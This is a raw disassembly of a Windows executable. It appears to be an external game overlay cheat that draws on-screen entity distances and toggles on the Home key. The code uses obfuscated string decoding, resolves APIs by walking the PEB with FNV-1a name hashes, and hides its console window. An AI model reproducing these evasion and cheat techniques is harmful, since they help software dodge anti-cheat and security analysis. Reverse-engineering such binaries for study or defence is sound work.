movabs rdx, 0x2bf7d9f8a7931ca
add rdx, rbx
dec rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400c1932
mov ecx, 0x18
movabs rdx, 0x2b32616014ea5b0
add rdx, rbx
inc r9
movzx eax, dl
dec rbx
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400c1932
movabs rdx, 0x2a6ce8c78241996
movzx r10d, r11b
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x1a
jmp 0x1400c251b
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400c2078
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5b
jmp 0x1400c1e96
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c20b8
mov ecx, 9
movabs rdx, 0x1032e48407d7e22
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x60]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400c1932
inc rax
cmp r8, rax
jne 0x1400c20e4
movabs rcx, 0x11bdd5b52d29656
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x1400c2623
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c2111
movabs rcx, 0x12834e4dbfd2270
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
jmp 0x1400c25e8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c213f
movabs rdx, 0x140e3f7ee523aa4
movzx r10d, r11b
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x7c
jmp 0x1400c259b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c2172
movabs rcx, 0x14d3b81777cc6be
add rcx, rbx
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
inc rbx
jmp 0x1400c1932
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c1e96
mov ecx, 0x31
movabs rdx, 0x165ea9489d1def2
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c251e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c21d5
movabs rcx, 0x8184c56c60bc3d33
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
jmp 0x1400c251e
inc rax
cmp r8, rax
jne 0x1400c2201
movabs rcx, 0x81a9cc08fc3be181
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x79
jmp 0x1400c259e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c2231
movabs rcx, 0x81b6239285666d9b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3d
add r8, r9
jmp 0x1400c25e8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c225e
movabs rcx, 0x81db2a2f20e611e9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5f
jmp 0x1400c2653
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400c1e39
movabs rcx, 0x81e781b8aa109e03
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x60]
add rax, r9
add rbx, rax
lea r10d, [r11 + rcx]
sub r10b, 0x15
inc rbx
jmp 0x1400c1932
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c22dd
mov ecx, 0x12
movabs rdx, 0x2065c9080fafc44
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x60]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400c1932
inc rax
cmp r8, rax
jne 0x1400c2309
movabs rcx, 0x21f0ba393501478
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
jmp 0x1400c2623
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c233e
mov ecx, 0x26
movabs rdx, 0x237bab6a5a52cac
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
jmp 0x1400c25e8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c236b
movabs rcx, 0x24412402ecfb8c6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
jmp 0x1400c259e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c239f
movzx eax, r11b
movabs rcx, 0x25069c9b7fa44e0
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
inc rbx
jmp 0x1400c1932
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c1dea
mov ecx, 0x3a
movabs rdx, 0x26918dcca4f5d14
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400c251b
mov ecx, 4
movabs rdx, 0x281c7efdca47548
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x60]
add r10b, r11b
jmp 0x1400c259b
mov ecx, 0x29
movabs rdx, 0x28e1f7965cf0162
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x60]
add r10b, r11b
add r10b, dl
jmp 0x1400c2623
movzx eax, r11b
movabs rcx, 0x80f0aaf9f2bdabfb
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx + 0x60]
add rax, r9
add rbx, rax
lea r10d, [rcx + r11]
add r10b, 0x23
inc rbx
jmp 0x1400c1932
movzx eax, r11b
movabs rcx, 0x80cba45d573e07ad
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x45
jmp 0x1400c25e8
movzx eax, r11b
movabs rcx, 0x80bf4cd3ce137b93
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 5
add r8, r9
jmp 0x1400c25e8
movzx eax, r11b
movabs rcx, 0x809a46373293d745
add rcx, rbx
inc r9
and al, cl
dec rbx
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x1d
inc rbx
jmp 0x1400c1932
movabs rdx, 0x808deeada9694b2b
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x2d
jmp 0x1400c251b
movabs rdx, 0x80753f9a971432f7
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
add r10b, 0x3f
add r10b, dl
movzx eax, r11b
movabs rcx, 0x827b9c2b180f2f3b
add rcx, rbx
and al, cl
add al, al
sub r11b, al
add r11b, 0x63
add r11b, cl
mov byte [rbp + rbx + 0x60], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c1932
movzx eax, r11b
movabs rcx, 0x805c908784bf1ac3
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x55
dec rbx
inc rbx
jmp 0x1400c1932
movabs rdx, 0x805038fdfb948ea9
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
add r10b, 0x61
add r10b, dl
movzx eax, r11b
movabs rcx, 0x8287f3b4a139bb55
add rcx, rbx
and al, cl
add al, al
sub r11b, al
sub r11b, 0x53
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0x60], r11b
add r8, r9
jmp 0x1400c25e8
movabs rcx, 0x803789eae93f7675
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x33
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c1932
mov r11, rdx
movabs rcx, 0x802b32616014ea5b
add rcx, rbx
movzx r10d, r11b
and dl, cl
add dl, dl
sub r10b, dl
sub r10b, 0x7d
add r10b, cl
movzx eax, r11b
inc r9
movabs rdx, 0x82944b3e2a64476f
movzx ecx, r11b
add rdx, rbx
and al, dl
add al, al
sub cl, al
sub cl, 9
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x60], al
add rax, r9
sub rbx, rax
movzx eax, r11b
inc r8
movabs rcx, 0x29a7702eef98d7c
add rcx, rbx
and al, cl
add al, al
sub r11b, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub r11b, 0x64
add r11b, cl
mov byte [rbp + rbx + 0x60], r11b
add rbx, rax
movzx eax, byte [rbp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c1932
movabs rcx, 0x8012834e4dbfd227
movzx eax, dl
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x11
movzx eax, byte [rbp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c1932
movzx eax, r11b
movabs rcx, 0x8334bd3a218d64c1
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x47
jmp 0x1400c1930
movzx eax, r11b
movabs rcx, 0x832865b09862d8a7
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x6f
jmp 0x1400c1920
lea rdi, [rbp + 0x14b111c]
jmp 0x1400c272b
lea rdi, [rbp + 0xe05729]
jmp 0x1400c272b
lea rdi, [rbp + 0x60]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400c27b5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400c27b5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x1144a659
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400c27b0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400c2790
cmp edx, 0x399d213
je 0x1400c27ba
test r9d, r9d
jne 0x1400c2770
mov rax, qword [rax]
jmp 0x1400c2740
mov edx, dword [r11 + 0x24]
mov rcx, rdi
add rdx, r10
movzx r8d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov eax, dword [rdx + r8*4]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400c2865
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400c2865
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xd3542177
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400c2860
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400c2840
cmp edx, 0x5eda8155
je 0x1400c286a
test r9d, r9d
jne 0x1400c2820
mov rax, qword [rax]
jmp 0x1400c27f0
mov ecx, dword [r11 + 0x24]
mov edx, dword [r11 + 0x1c]
add rcx, r10
add rdx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
call rax
mov ecx, 1
call fcn.1400d7aa8
mov r9, rax
lea r8, [0x140137e48]
lea rdx, str.CONOUT_
lea rcx, [rbp + 0x480]
call fcn.1400e29d0
mov ecx, 0xd0
call fcn.1400d0700
mov rcx, rax
call fcn.14006ffe0
mov rcx, rax
mov qword [0x1402ed1f8], rax
call fcn.140064440
test al, al
jne 0x1400c28df
lea rcx, [0x140137e40]
call fcn.1400e271c
jmp 0x1400c28f0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.14006f8b0
xor eax, eax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x3d0]
mov byte [rsp + 0x60], al
call fcn.1400c7570
lea rcx, [rbp + 0x3d0]
call fcn.14006f360
cmp dword [rbp + 0x3d8], 0
jne 0x1400c4598
xor eax, eax
lea rdx, [rsp + 0x61]
lea rcx, [rbp + 0x380]
mov byte [rsp + 0x61], al
call fcn.1400c75d0
lea rcx, [rbp + 0x380]
call fcn.14006f360
cmp dword [rbp + 0x388], 0
jne 0x1400c4598
xor eax, eax
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x390]
mov byte [rsp + 0x38], al
call fcn.1400c7630
lea rcx, [rbp + 0x390]
call fcn.14006f360
cmp dword [rbp + 0x398], 0
jne 0x1400c4598
vmovaps xmmword [rsp + 0x920], xmm6
vmovaps xmmword [rsp + 0x910], xmm7
vmovaps xmmword [rsp + 0x900], xmm8
vmovaps xmmword [rsp + 0x8f0], xmm9
vmovss xmm9, dword [0x140138220]
vmovaps xmmword [rsp + 0x8e0], xmm10
vmovss xmm10, dword [0x14013822c]
vmovaps xmmword [rsp + 0x8d0], xmm11
vmovss xmm11, dword [0x1401381cc]
vmovaps xmmword [rsp + 0x8c0], xmm12
vmovss xmm12, dword [0x1401381f4]
vmovaps xmmword [rsp + 0x8b0], xmm13
vmovss xmm13, dword [0x140138248]
xor eax, eax
mov qword [rbp + 0x440], 0
vmovaps xmmword [rsp + 0x8a0], xmm14
vmovss xmm14, dword [0x14013823c]
mov qword [rbp + 0x468], rax
lea rsi, str._:.0f_m
vpxor xmm0, xmm0, xmm0
lea rax, str.Overlay_FPS:_:.0f
mov qword [rbp + 0x3a8], 0x13
vmovaps xmmword [rsp + 0x890], xmm15
vmovss xmm15, dword [0x140138224]
vmovups ymmword [rbp + 0x448], ymm0
mov qword [rbp + 0x3a0], rax
lea r13, str._f_n_n____K_n
movabs rdi, 0xef3d60022
lea r12, [0x1402eaf80]
vxorps xmm8, xmm8, xmm8
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [0x1402ed1f8]
lea rcx, [rbp + 0x440]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rdx + 0x48]
vzeroupper
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x1400c2ac7
lea rcx, [rbp + 0x440]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x440]
call qword [sym.imp.USER32.dll_DispatchMessageA]
mov ecx, 0x24
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400c2ae7
mov rcx, qword [0x1402ed1f0]
cmp byte [rcx + 0x24], 0
sete al
mov byte [rcx + 0x24], al
call fcn.14003d2a0
call fcn.14003e870
call fcn.140009410
mov rax, qword [0x1402ed1f0]
cmp byte [rax + 0x24], 0
je 0x1400c2b0f
mov rcx, qword [0x1402ed1f8]
call fcn.14006bdd0
vmovdqu xmm0, xmmword [0x1401384e0]
lea rcx, [rbp + 0x470]
vmovups xmmword [rbp + 0x470], xmm0
call fcn.140003f00
mov r8, qword [0x1402ed1d8]
lea rdx, [rsp + 0x40]
vmovups xmm0, xmmword [rbp + 0x3a0]
add r8, 0xdc
lea rcx, [rbp + 0x700]
vmovss dword [rbp + 0x190], xmm12
vmovss dword [rbp + 0x194], xmm12
mov ebx, eax
vmovdqa xmmword [rsp + 0x40], xmm0
call fcn.1400c5c10
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x190]
vmovaps xmm3, xmm9
mov rdx, rax
mov byte [rsp + 0x28], 0
mov dword [rsp + 0x20], ebx
call fcn.140061d10
lea rcx, [rbp + 0x700]
call fcn.14005fe70
mov rcx, qword [0x1402ed1f8]
mov r15, qword [rcx + 8]
mov r14, qword [rcx]
cmp r14, r15
je 0x1400c44e9
mov rdx, r14
lea rcx, [rbp + 0x290]
call fcn.14005f860
lea rcx, [rbp + 0x3f0]
call fcn.14006fd40
cmp qword [rbp + 0x2b0], 0
je 0x1400c4481
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x770]
call fcn.14005fc90
mov rcx, qword [0x1402ed1f8]
lea rdx, [rbp + 0x720]
mov r8, rax
call fcn.1400bb4e0
mov rdx, rax
lea rcx, [rbp + 0x3f0]
call fcn.1400c47e0
lea rcx, [rbp + 0x748]
call fcn.14005fe70
lea rcx, [rbp + 0x728]
call fcn.14005fe70
cmp byte [rbp + 0x3f0], 0
je 0x1400c4481
vmovdqu xmm0, xmmword [0x1401384a0]
mov rax, qword [0x1402ed1f0]
lea rdx, [rbp + 0x3e0]
vmovups xmmword [rsp + 0x50], xmm0
xor r8d, r8d
lea rcx, [rbp + 0x2c8]
vmovups xmm0, xmmword [rax + 0x10]
vmovups xmmword [rbp + 0x30], xmm0
call fcn.140060340
lea r8, [rbp + 0x294]
lea rdx, [rbp + 0x6e8]
lea rcx, [rbp + 0x3e0]
call fcn.140061cd0
mov rcx, rax
call fcn.14006f3a0
mov ecx, dword [rbp + 0x438]
mov rax, qword [0x1402ed1f0]
vcvtss2sd xmm1, xmm0, xmm0
vmulsd xmm2, xmm1, qword [0x140138190]
vcvtsd2ss xmm3, xmm2, xmm2
vmovss dword [rsp + 0x3c], xmm3
cmp ecx, 2
jne 0x1400c2cc5
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rbp + 0x278], xmm0
jmp 0x1400c2d26
cmp ecx, 3
jne 0x1400c2cd9
vmovups xmm0, xmmword [rax + 0x50]
vmovups xmmword [rbp + 0x218], xmm0
jmp 0x1400c2d26
cmp ecx, 4
jne 0x1400c2ced
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rbp + 0x228], xmm0
jmp 0x1400c2d26
cmp ecx, 6
jne 0x1400c2d11
vmovups xmm0, xmmword [rax + 0x70]
vaddss xmm1, xmm13, dword [rbp + 0x29c]
vmovss dword [rbp + 0x29c], xmm1
vmovups xmmword [rbp + 0x238], xmm0
jmp 0x1400c2d26
cmp ecx, 5
jne 0x1400c2d2c
vmovups xmm0, xmmword [rax + 0x90]
vmovups xmmword [rbp + 0x248], xmm0
vmovups xmmword [rsp + 0x50], xmm0
cmp byte [rbp + 0x290], 0x1a
jne 0x1400c2d4b
vmovups xmm0, xmmword [rax + 0x80]
vmovups xmmword [rbp + 0x258], xmm0
vmovups xmmword [rsp + 0x50], xmm0
vmovsd xmm0, qword [rbp + 0x294]
mov eax, dword [rbp + 0x29c]
lea r9, [rsp + 0x30]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x340]
lea rdx, [rbp + 0x2c8]
mov dword [rbp + 0x348], eax
vmovsd qword [rbp + 0x340], xmm0
vmovss dword [rsp + 0x30], xmm8
vmovss dword [rsp + 0x34], xmm8
call fcn.1400625f0
test al, al
je 0x1400c42a6
lea rcx, [rbp + 0x418]
call fcn.14005ff60
mov qword [rbp + 0x3b0], rsi
lea r9, [rsp + 0x3c]
mov qword [rbp + 0x3b8], 0xb
lea r8, [rbp + 0x320]
vmovups xmm0, xmmword [rbp + 0x3b0]
lea rdx, [rsp + 0x40]
mov qword [rbp + 0x320], rax
lea rcx, [rbp + 0x360]
vmovdqa xmmword [rsp + 0x40], xmm0
call fcn.1400c5c80
lea rax, str.:.0f_m
mov qword [rbp + 0x3c8], 8
mov qword [rbp + 0x3c0], rax
lea r8, [rsp + 0x3c]
vmovups xmm0, xmmword [rbp + 0x3c0]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x90]
vmovdqa xmmword [rsp + 0x40], xmm0
call fcn.1400c5c10
mov rcx, qword [0x1402ed1f0]
cmp byte [rcx + 0x27], 1
jne 0x1400c3d3f
cmp byte [rbp + 0x290], 2
jne 0x1400c2f31
cmp byte [rcx + 0xa0], 1
jne 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rsp + 0x50]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137e5c]
lea rcx, [rbp + 0x6a8]
vmovss dword [rbp + 0x114], xmm2
vmovss dword [rbp + 0x110], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0x110]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x6a8]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x6a8]
call fcn.14005fe70
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x1b0]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x1b0], xmm0
vmovss dword [rbp + 0x1b4], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 3
jne 0x1400c3028
cmp byte [rcx + 0xa1], 1
jne 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rbp + 0x30]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137e5c]
lea rcx, [rbp + 0x488]
vmovss dword [rbp + 0x1bc], xmm2
vmovss dword [rbp + 0x1b8], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0x1b8]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x488]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x488]
call fcn.14005fe70
lea rcx, [rbp + 0x30]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x1c0]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x1c0], xmm0
vmovss dword [rbp + 0x1c4], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 0xa
jne 0x1400c3121
cmp byte [rcx + 0xa2], 1
jne 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rsp + 0x50]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137e8c]
lea rcx, [rbp + 0x4a8]
vmovss dword [rbp + 0x1cc], xmm2
vmovss dword [rbp + 0x1c8], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0x1c8]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x4a8]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x4a8]
call fcn.14005fe70
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x1d8]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x1d8], xmm0
vmovss dword [rbp + 0x1dc], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 9
jne 0x1400c321a
cmp byte [rcx + 0xa2], 1
jne 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rsp + 0x50]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137e8c]
lea rcx, [rbp + 0x4c8]
vmovss dword [rbp + 0x1e4], xmm2
vmovss dword [rbp + 0x1e0], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x4c8]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x4c8]
call fcn.14005fe70
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x1e8]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x1e8], xmm0
vmovss dword [rbp + 0x1ec], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 0xb
jne 0x1400c3311
cmp byte [rcx + 0xa3], 1
jne 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rbp + 0x30]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137e90]
lea rcx, [rbp + 0x4e8]
vmovss dword [rbp + 0x1f4], xmm2
vmovss dword [rbp + 0x1f0], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0x1f0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x4e8]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x4e8]
call fcn.14005fe70
lea rcx, [rbp + 0x30]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x1f8]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x1f8], xmm0
vmovss dword [rbp + 0x1fc], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 0xc
jne 0x1400c340a
cmp byte [rcx + 0xa4], 1
jne 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rsp + 0x50]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137e84]
lea rcx, [rbp + 0x508]
vmovss dword [rbp + 0x204], xmm2
vmovss dword [rbp + 0x200], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0x200]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x508]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x508]
call fcn.14005fe70
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x208]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x208], xmm0
vmovss dword [rbp + 0x20c], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
